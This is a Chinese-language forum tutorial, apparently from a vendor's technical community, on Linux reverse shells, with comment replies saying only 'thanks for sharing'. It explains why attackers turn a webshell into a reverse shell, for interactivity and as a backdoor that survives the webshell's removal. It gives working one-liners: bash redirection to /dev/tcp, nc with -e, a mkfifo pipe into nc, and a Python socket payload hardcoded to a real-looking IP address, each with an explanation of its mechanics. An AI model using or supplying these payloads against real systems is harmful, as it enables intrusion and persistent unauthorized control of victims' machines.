linux反弹shell知识
  

呱唧呱唧 26921人觉得有帮助

{{ttag.title}}
什么是shell

shell是渗透中常用的名词,像getshell,webshell,反弹shell等等,都和shell相关。
百度百科解释的shell:
在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。
简单说用户通过壳访问操作系统内核的服务,也就是由壳到内核,执行系统命令。
getshell:获取到目标的命令执行权限
webshell:指网站后门,通过web服务进行命令执行
反弹shell:把命令行的输入输出转移到其它主机

为什么要反弹shell

1、webshell下执行命令不交互,为了方便提权或其它操作必须要反弹shell。
2、反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。

常用linux反弹shell的方式

使用whereis命令去确定目标支持的反弹方法。

whereis nc bash python php exec lua perl ruby


bash反弹shell

bash反弹是实战中用的最多的方法

nc -lvp 9999bash -i >& /dev/tcp/ip/port 0>&1

把命令拆开分析:
1、bash -i代表在本地打开一个bash
2、/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
3、>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程vps
4、远程vps开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。

nc反弹shell

需要目标主机安装了nc

nc ip port -e /bin/sh

使用其他版本的 nc

nc.traditional ip port -e /bin/sh

配合命名管道进行反弹:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc ip port >/tmp/f


python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.94.136.27",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,打印出来数值为3


0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程
接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。






打赏鼓励作者,期待更多好文!

打赏
暂无人打赏

简单思考 发表于 2020-10-12 14:50
  
感谢分享
新手480107 发表于 2020-10-12 14:52
  
感谢分享
新手275718 发表于 2020-10-12 14:54
  
感谢分享
新手623937 发表于 2020-10-12 14:57
  
感谢分享
新手535819 发表于 2020-10-12 14:59
  
感谢分享
新手664518 发表于 2020-10-12 15:04
  
感谢分享
新手438737 发表于 2020-10-12 15:05
  
感谢分享
新手032448 发表于 2020-10-12 15:13
  
感谢分享
新手912522 发表于 2020-10-12 15:21
  
感谢分享
发表新帖
热门标签
全部标签>
每日一问
2024年技术争霸赛
技术盲盒
技术笔记
每周精选
安装部署配置
产品连连看
2023技术争霸赛专题
干货满满
技术咨询
信服课堂视频
标准化排查
秒懂零信任
技术晨报
自助服务平台操作指引
运维工具
文档捉虫活动
新版本体验
功能体验
功能咨询
通用技术
GIF动图学习
问题分析处理
每日一记
SDP百科
排障笔记本
畅聊IT
答题自测
专家问答
技术圆桌
测试报告
用户认证
解决方案
VPN 对接
项目案例
地址转换
存储
技术争霸赛
卧龙计划
在线直播
MVP
网络基础知识
升级
安全攻防
上网策略
日志审计
流量管理
云计算知识
原创分享
sangfor周刊
SANGFOR资讯
专家分享
技术顾问
信服故事
终端接入
授权
设备维护
资源访问
虚拟机
迁移
加速技术
产品预警公告
玩转零信任
信服圈儿
S豆商城资讯
「智能机器人」
追光者计划
深信服技术支持平台
社区帮助指南
答题榜单公布
纪元平台
华北区拉练
天逸直播
以战代练
山东区技术晨报
齐鲁TV
华北区交付直播
北京区每日一练

本版达人

新手68983...

本周分享达人

零和一网络

本周提问达人